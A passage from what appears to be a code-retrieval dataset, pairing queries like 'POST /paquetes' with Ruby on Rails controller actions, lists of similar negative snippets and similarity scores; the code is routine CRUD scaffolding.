@activite.to_xml }\n end\n end", "def index\n @aisles = Aisle.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @aisles }\n end\n end", "def read(id=nil)\n request = Net::HTTP.new(@uri.host, @uri.port)\n if id.nil?\n response = request.get(\"#{@uri.path}.xml\")\n else\n response = request.get(\"#{@uri.path}/#{id}.xml\")\n end\n\n response.body\n end", "def show\n @aniversario = Aniversario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @aniversario }\n end\n end", "def show\n @lance_unico = LanceUnico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lance_unico }\n end\n end", "def show\n @bairro = Bairro.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bairro }\n end\n end", "def show\n @etiquetage = Etiquetage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @etiquetage }\n end\n end", "def show\n @reclamacao = Reclamacao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @reclamacao }\n end\n end", "def show\n @asistencia = Asistencia.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @asistencia }\n end\n end", "def show\n @activite = Activite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @activite }\n end\n end", "def show\n @cabasiento = Cabasiento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @cabasiento }\n end\n end", "def show\n @ambito = Ambito.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ambito }\n end\n end", "def show\n @haiku = Haiku.find(params[:id])\n\n respond_to { |format|\n format.html # show.rhtml\n format.xml {\n\trender :xml => @haiku.to_xml\n }\n }\n end", "def show\n @lab = @course.labs.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render xml: @lab }\n end\n end", "def show\n @relatestagiario = Relatestagiario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @relatestagiario }\n end\n end", "def show\n @liga_blaz_blue_general = LigaBlazBlueGeneral.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @liga_blaz_blue_general }\n end\n end", "def show\n @estudiante = Estudiante.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @estudiante }\n end\n end", "def index\n @cuentas = Cuenta.all\n\n @cadena = getcuentasxml\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @cadena }\n end\n end", "def show\n @estudiante = Estudiante.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @estudiante }\n end\n end", "def show\n @downloadlink = Downloadlink.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @downloadlink }\n end\n end", "def show\n @assettrack = Assettrack.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @assettrack }\n end\n end", "def show\n @xlink = Xlink.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @xlink }\n end\n end", "def show\n @vigencia = Vigencia.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @vigencia }\n end\n end", "def show\n @conveniado = Conveniado.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @conveniado }\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @chronopay_link }\n end\n end", "def index\n @annees = Annee.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @annees }\n end\n end", "def show\n @discovery = Discovery.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @discovery }\n end\n end", "def index\n @assets = assets.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @assets.to_xml }\n end\n end", "def show\n @taux_tva = TauxTva.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @taux_tva }\n end\n end", "def show\n @url_migration = UrlMigration.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @url_migration }\n end\n end", "def show\n @compra = Compra.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @compra }\n end\n end", "def show\n @vertex = Vertex.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @vertex }\n end\n end", "def index\n @aautos = Aauto.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @aautos }\n end\n end", "def show\n @internalcolor = Internalcolor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @internalcolor }\n end\n end" ]
[ "0.64007175", "0.602023", "0.5929332", "0.58973825", "0.5891376", "0.5845938", "0.58397174", "0.58397174", "0.5831822", "0.58187705", "0.5811458", "0.5808906", "0.5807807", "0.5805684", "0.5805487", "0.5793554", "0.57815385", "0.57570106", "0.5735918", "0.5730853", "0.5730853", "0.5729417", "0.5729009", "0.57279485", "0.5726304", "0.5721608", "0.57139456", "0.5705857", "0.5704413", "0.5700298", "0.5696517", "0.56921", "0.56739926", "0.56609577", "0.5659619", "0.565946", "0.5656956", "0.56524724", "0.5650517", "0.56454504", "0.56454504", "0.564308", "0.5642772", "0.5642772", "0.56337476", "0.5630453", "0.5628494", "0.5627439", "0.5620262", "0.56183165", "0.56112945", "0.5610838", "0.5610224", "0.55993694", "0.55921924", "0.5590173", "0.55845284", "0.5579937", "0.5579937", "0.55767316", "0.5572371", "0.5572371", "0.5571627", "0.5567655", "0.55635655", "0.5563476", "0.55583", "0.55575985", "0.55552197", "0.5554869", "0.555305", "0.5552289", "0.55514246", "0.55514115", "0.55503076", "0.55489624", "0.5539953", "0.5534787", "0.55336577", "0.5532501", "0.5532061", "0.55317736", "0.5530055", "0.55299294", "0.5529202", "0.55281544", "0.55217713", "0.5519079", "0.55132836", "0.5513145", "0.55124474", "0.5511061", "0.55096084", "0.55093586", "0.55085367", "0.55077803", "0.55040646", "0.55025727", "0.54993814", "0.54986805" ]
0.6519604
0
GET /paquetes/new GET /paquetes/new.xml
def new @paquete = Paquete.new @orden = params[:id] respond_to do |format| format.html # new.html.erb format.xml { render :xml => @paquete } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end", "def new\n @peca = Peca.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @peca }\n end\n end", "def new\n @catena = Catena.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @catena }\n end\n end", "def new\n @lien = Lien.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lien }\n end\n end", "def new\n @curta = Curta.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @curta }\n end\n end", "def new\n @ref = Ref.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ref }\n end\n end", "def new\n @node = Node.scopied.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end", "def new\n @asset = Asset.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @asset }\n end\n end", "def new\n @asset = Asset.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @asset }\n end\n end", "def new\n @asset = Asset.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @asset }\n end\n end", "def new\n @colo = Colo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @colo }\n end\n end", "def new\n @atest = Atest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @atest }\n end\n end", "def new\n @title = \"New Artefact\"\n @artefact = Artefact.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @artefact }\n end\n end", "def new\n @catalog = Catalog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @catalog }\n end\n end", "def new\n @catalog = Catalog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @catalog }\n end\n end", "def new\n @cita = Cita.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cita }\n end\n end", "def new\n @cita = Cita.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cita }\n end\n end", "def new\n @banana = Banana.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @banana }\n end\n end", "def new\n @abonne = Abonne.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @abonne }\n end\n end", "def new\n @pessoa = Pessoa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pessoa }\n end\n end", "def new\n @pessoa = Pessoa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pessoa }\n end\n end", "def new\n @good = Good.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @good }\n end\n end", "def new\n @acre = Acre.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @acre }\n end\n end", "def new\n @tarefa = Tarefa.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tarefa }\n end\n end", "def new\n @aauto = Aauto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aauto }\n end\n end", "def new\n @colour = Colour.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @colour }\n end\n end", "def new\n @pais = Pais.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pais }\n end\n end", "def new\n @receita = Receita.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @receita }\n end\n end", "def new\n @aisle = Aisle.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aisle }\n end\n end", "def new\n @annee = Annee.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @annee }\n end\n end", "def new\n\t\t@clicker = Clicker.new\t\t\t\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @clicker }\n end\n end", "def new\n @url_migration = UrlMigration.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @url_migration }\n end\n end", "def new\n @arc = Arc.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @arc }\n end\n end", "def new\n @needle = Needle.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @needle }\n end\n end", "def new\n @bg = Bg.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bg }\n end\n end", "def new\n @atom = Atom.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @atom }\n end\n end", "def new\n @aviso = Aviso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aviso }\n end\n end", "def new\n @aplicacion = Aplicacion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aplicacion }\n end\n end", "def new\n @abuse = Abuse.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @abuse }\n end\n end", "def new\n @protocolo = Protocolo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @protocolo }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @chronopay_link }\n end\n end", "def new\n @novel = Novel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @novel }\n end\n end", "def new\n @newz = Newz.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @newz }\n end\n end", "def new\n @via = Via.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @via }\n end\n end", "def new\n @crianca = Crianca.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @crianca }\n end\n end", "def new\n @link = Link.new :long => 'http://'\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @link }\n end\n end", "def new\n @asambleista = Asambleista.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @asambleista }\n end\n end", "def new\n @thing = Thing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @thing }\n end\n end", "def new\n @link = Link.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @link }\n end\n end", "def new\n @link = Link.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @link }\n end\n end", "def new\n @link = Link.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @link }\n end\n end", "def new\n @link = Link.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @link }\n end\n end", "def new\n @lancamento = Lancamento.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lancamento }\n end\n end", "def new\n @omatsuri = Omatsuri.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @omatsuri }\n end\n end", "def new\n @nota = Nota.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nota }\n end\n end", "def new\n @nota = Nota.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nota }\n end\n end", "def new\n @articulo = Articulo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @articulo }\n end\n end", "def new\n @noami = Noami.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @noami }\n end\n end", "def new\n @liga_blaz_blue = LigaBlazBlue.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @liga_blaz_blue }\n end\n end", "def new\n @bookmark = Bookmark.new(:tags => [Tag.new])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bookmark }\n end\n end", "def new\n @seta = Seta.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @seta }\n end\n end", "def new\n @aniversario = Aniversario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aniversario }\n end\n end", "def new\n @uri_type = UriType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @uri_type }\n end\n end", "def new\n @curso = Curso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @curso }\n end\n end", "def new\n @want = Want.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @want }\n end\n end", "def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end", "def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end", "def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end", "def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end", "def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end", "def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end", "def new\n @page = Page.new\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end", "def new\n @thred = Thred.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @thred }\n end\n end", "def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n \n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nomina }\n end\n end", "def new\n @clicker = Clicker.new\n\n \n respond_to do |format|\n \n format.html # new.html.erb\n \nformat.xml { render :xml => @clicker }\n \n end\n \nend", "def new\n @link = Link.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @link }\n end\n end", "def new\n @link = Link.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @link }\n end\n end", "def new\n \n @link = Link.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @link }\n end\n end", "def new\n @nostro = Nostro.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nostro }\n end\n end", "def new\n @asistencia = Asistencia.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @asistencia }\n end\n end", "def new\n @relatestagiario = Relatestagiario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @relatestagiario }\n end\n end", "def new\n @rink = Rink.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rink }\n end\n end", "def new\n @aanwezig = Aanwezig.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aanwezig }\n end\n end", "def new\n @black = Black.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @black }\n end\n end", "def new\n @cloud = Cloud.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cloud }\n end\n end", "def new\n @tpago = Tpago.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tpago }\n end\n end", "def new\n @asset = Asset.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @asset }\n format.xml { render xml: @asset }\n end\n end", "def new\n @monkey = Monkey.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @monkey }\n end\n end", "def new\n @contrato = Contrato.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @contrato }\n end\n end", "def new\n @art = Art.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @art }\n end\n end", "def create\n @paquete = Paquete.new(params[:paquete])\n respond_to do |format|\n if @paquete.save\n format.html { redirect_to(@paquete, :notice => 'Paquete was successfully created.') }\n format.xml { render :xml => @paquete, :status => :created, :location => @paquete }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @paquete.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @factura = Factura.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @factura }\n end\n end", "def new\n @cavalete = Cavalete.new\n @placa = Placa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cavalete }\n end\n end", "def new\n @vertex = Vertex.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @vertex }\n end\n end", "def new\n @page = Page.new\n\n respond_to do |wants|\n wants.html # new.html.erb\n wants.xml { render :xml => @page }\n end\n end", "def new\n @vestimenta = Vestimenta.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @vestimenta }\n end\n end", "def new\n respond_to do |format|\n format.html\n format.xml\n end\n end", "def new\n @bookmark = Bookmark.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bookmark }\n end\n end", "def new\n @bookmark = Bookmark.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bookmark }\n end\n end" ]
[ "0.7089022", "0.6923074", "0.6792931", "0.67672014", "0.67100096", "0.6709829", "0.6696551", "0.6696147", "0.6696147", "0.6673435", "0.666804", "0.66660714", "0.6664202", "0.6655539", "0.6655539", "0.66372865", "0.66372865", "0.66363996", "0.6631379", "0.6627802", "0.6627802", "0.66133636", "0.66103876", "0.6608757", "0.6605512", "0.660242", "0.6601648", "0.65975195", "0.65901417", "0.6590011", "0.65890694", "0.6586467", "0.6585863", "0.65833265", "0.6580314", "0.65769184", "0.6574729", "0.657361", "0.6573235", "0.65726733", "0.65715116", "0.65673995", "0.6565975", "0.65572125", "0.65566564", "0.65546757", "0.65531284", "0.65508854", "0.6548685", "0.6548685", "0.6548685", "0.6548685", "0.6548667", "0.6544384", "0.6543763", "0.6543763", "0.6542978", "0.653717", "0.6530116", "0.65291125", "0.6527828", "0.65269375", "0.6526085", "0.652234", "0.65182054", "0.6508331", "0.6508331", "0.6508331", "0.6508331", "0.6508331", "0.6508331", "0.6506065", "0.6498118", "0.6497194", "0.6494003", "0.6492916", "0.64874834", "0.64874834", "0.64861375", "0.64856166", "0.6473903", "0.6471062", "0.646808", "0.6467796", "0.6462575", "0.64572436", "0.645511", "0.6453189", "0.6452759", "0.6444261", "0.644249", "0.6440468", "0.6435965", "0.6433135", "0.64319736", "0.64305526", "0.64299655", "0.64276105", "0.64262784", "0.64262784" ]
0.67013603
6
POST /paquetes POST /paquetes.xml
def create @paquete = Paquete.new(params[:paquete]) respond_to do |format| if @paquete.save format.html { redirect_to(@paquete, :notice => 'Paquete was successfully created.') } format.xml { render :xml => @paquete, :status => :created, :location => @paquete } else format.html { render :action => "new" } format.xml { render :xml => @paquete.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create(params)\n\nxml =<<XML\n<entry xmlns=\"http://purl.org/atom/ns#\">\n <title>#{params[:title]}</title>\n <link rel=\"related\" type=\"text/html\" href=\"#{params[:url]}\" />\n <summary type=\"text/plain\">#{params[:comment]}</summary>\n</entry>\nXML\n\n post('/post', xml)\n end", "def create\n @torneo_apartura = TorneoApartura.new(torneo_apartura_params)\n\n respond_to do |format|\n if @torneo_apartura.save\n format.html { redirect_to @torneo_apartura, notice: 'Torneo apartura was successfully created.' }\n format.json { render :show, status: :created, location: @torneo_apartura }\n else\n format.html { render :new }\n format.json { render json: @torneo_apartura.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @akce = Akce.new(akce_params)\n\n respond_to do |format|\n if @akce.save\n format.html { redirect_to @akce, notice: 'Akce was successfully created.' }\n format.json { render :show, status: :created, location: @akce }\n else\n format.html { render :new }\n format.json { render json: @akce.errors, status: :unprocessable_entity }\n end\n end\n end", "def precio_paquete_params\n params.require(:precio_paquete).permit(:tipo_paquete, :precio)\n end", "def create\n @articy_draft = ArticyDraft.new\n\n file = params[:articy_draft][:file]\n @articy_draft.xml = file\n @articy_draft.notes = params[:articy_draft][:notes]\n\n respond_to do |format|\n if @articy_draft.save\n format.html { redirect_to root_path, notice: 'Articy Draft XML was successfully created.' }\n format.json { render action: 'show', status: :created, location: @articy_draft }\n else\n format.html { render action: 'new' }\n format.json { render json: @articy_draft.errors, status: :unprocessable_entity }\n end\n end\n end", "def astro_curl(url, params)\n AstroPay::Curl.post(url, params)\n end", "def create(name=\"Default Name\", age=\"50\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <name>#{name}</name>\r\n <age>#{age}</age>\r\n </person>\"\r\n \r\n request = Net::HTTP::Post.new(@url)\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n \r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n response.body \r\n end", "def create\n @aoo_ref = AooRef.new(aoo_ref_params)\n\n respond_to do |format|\n if @aoo_ref.save\n format.html { redirect_to @aoo_ref, notice: 'Aoo ref was successfully created.' }\n format.json { render :show, status: :created, location: @aoo_ref }\n else\n format.html { render :new }\n format.json { render json: @aoo_ref.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @precio_paquete = PrecioPaquete.new(precio_paquete_params)\n\n respond_to do |format|\n if @precio_paquete.save\n format.html { redirect_to action: \"index\", notice: 'Precio paquete creado existosamente.' }\n format.json { render action: 'show', status: :created, location: @precio_paquete }\n else\n format.html { render action: 'new' }\n format.json { render json: @precio_paquete.errors, status: :unprocessable_entity }\n end\n end\n end", "def proveedor_paquete_params\n params.require(:proveedor_paquete).permit(:id_provedor, :id_paquete)\n end", "def post(uri, xml)\r\n req = Net::HTTP::Post.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end", "def create\n @anchor = Anchor.new(anchor_params)\n\n respond_to do |format|\n if @anchor.save\n format.html { redirect_to @anchor, notice: 'Anchor was successfully created.' }\n format.json { render :show, status: :created, location: @anchor }\n else\n format.html { render :new }\n format.json { render json: @anchor.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @proveedor_paquete = ProveedorPaquete.new(proveedor_paquete_params)\n\n respond_to do |format|\n if @proveedor_paquete.save\n format.html { redirect_to @proveedor_paquete, notice: 'Proveedor paquete was successfully created.' }\n format.json { render :show, status: :created, location: @proveedor_paquete }\n else\n format.html { render :new }\n format.json { render json: @proveedor_paquete.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @abuse = Abuse.new(params[:abuse])\n\n respond_to do |format|\n if @abuse.save\n flash[:notice] = 'Abuse was successfully created.'\n format.html { redirect_to(@abuse) }\n format.xml { render :xml => @abuse, :status => :created, :location => @abuse }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @abuse.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @acre = Acre.new(params[:acre])\n\n respond_to do |format|\n if @acre.save\n format.html { redirect_to(acres_path, :notice => 'Acre was successfully created.') }\n format.xml { render :xml => @acre, :status => :created, :location => @acre }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @acre.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @hex = Hex.new(hex_params)\n\n respond_to do |format|\n if @hex.save\n format.html { redirect_to @hex, notice: 'Hex was successfully created.' }\n format.json { render :show, status: :created, location: @hex }\n else\n format.html { render :new }\n format.json { render json: @hex.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @paquetes = Paquete.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @paquetes }\n end\n end", "def astro_curl(url, params_hash)\n AstroPay::Curl.post(url, params_hash)\n end", "def test_should_create_link_via_API_XML\r\n get \"/logout\"\r\n post \"/links.xml\", :api_key=>'testapikey',\r\n :link => {:user_id => 1,\r\n :title => 'API Link 1',\r\n :url => 'http://www.api.com'}\r\n assert_response :created\r\n end", "def destroy\n @paquete = Paquete.find(params[:id])\n @paquete.destroy\n\n respond_to do |format|\n format.html { redirect_to(paquetes_url) }\n format.xml { head :ok }\n end\n end", "def annonce_params\n params.require(:annonce).permit(:title, :description, :price, :category_id, :image)\n end", "def commit(xml)\n url = (test? ? test_url : live_url)\n\n response = parse(ssl_post(url, post_data(xml), 'Content-Type' => 'application/x-www-form-urlencoded;charset=UTF-8'))\n\n Response.new(\n success_from(response),\n message_from(response),\n response,\n authorization: authorization_from(response),\n test: test?,\n error_code: error_code_from(response)\n )\n end", "def post(url_variables:, body:)\n ensure_service_document\n\n end", "def create\n @absence = Absence.new(absence_params)\n\n respond_to do |format|\n if @absence.save\n format.html { redirect_to absences_url, notice: 'Отсутствие успешно создано.' }\n format.json { render :edit, status: :created, location: @absence }\n end\n end\n end", "def create\n @annonce = Annonce.new(annonce_params)\n @annonce.user_id = current_user.id\n\n respond_to do |format|\n if @annonce.save\n format.html { redirect_to @annonce, notice: 'Votre annonce à été correctement crée' }\n format.json { render :show, status: :created, location: @annonce }\n else\n format.html { render :new }\n format.json { render json: @annonce.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @reserva_aceitum = ReservaAceitum.new(reserva_aceitum_params)\n\n respond_to do |format|\n if @reserva_aceitum.save\n format.html { redirect_to @reserva_aceitum, notice: 'Reserva aceitum was successfully created.' }\n format.json { render :show, status: :created, location: @reserva_aceitum }\n else\n format.html { render :new }\n format.json { render json: @reserva_aceitum.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @cobertura = Cobertura.new(cobertura_params)\n\n @apolice.page = \"proposta\"\n\n respond_to do |format|\n if @cobertura.save\n format.html { redirect_to @cobertura, notice: 'Cobertura was successfully created.' }\n format.json { render :show, status: :created, location: @cobertura }\n else\n format.html { render :new }\n format.json { render json: @cobertura.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @alejandro = Alejandro.new(alejandro_params)\n\n respond_to do |format|\n if @alejandro.save\n format.html { redirect_to @alejandro, notice: 'Alejandro was successfully created.' }\n format.json { render :show, status: :created, location: @alejandro }\n else\n format.html { render :new }\n format.json { render json: @alejandro.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @anchorinfo = Anchorinfo.new(anchorinfo_params)\n\n respond_to do |format|\n if @anchorinfo.save\n format.html { redirect_to @anchorinfo, notice: 'Anchorinfo was successfully created.' }\n format.json { render :show, status: :created, location: @anchorinfo }\n else\n format.html { render :new }\n format.json { render json: @anchorinfo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @cassete = Cassete.new(cassete_params)\n\n respond_to do |format|\n if @cassete.save\n format.html { redirect_to @cassete, notice: 'Cassete was successfully created.' }\n format.json { render :show, status: :created, location: @cassete }\n else\n format.html { render :new }\n format.json { render json: @cassete.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_config(url_prefix, xml)\n post_data(url_prefix, xml, 'application/xml;charset=UTF-8')\n end", "def create\n @abonne = Abonne.new(params[:abonne])\n\n respond_to do |format|\n if @abonne.save\n flash[:notice] = 'Abonne was successfully created.'\n format.html { redirect_to(@abonne) }\n format.xml { render :xml => @abonne, :status => :created, :location => @abonne }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @abonne.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create(name=\"Default name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Post.new(@url)\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n response.body\n end", "def generate_tags\n uri = URI.parse(\"https://api.thomsonreuters.com/permid/calais\")\n http = Net::HTTP.new(uri.host, 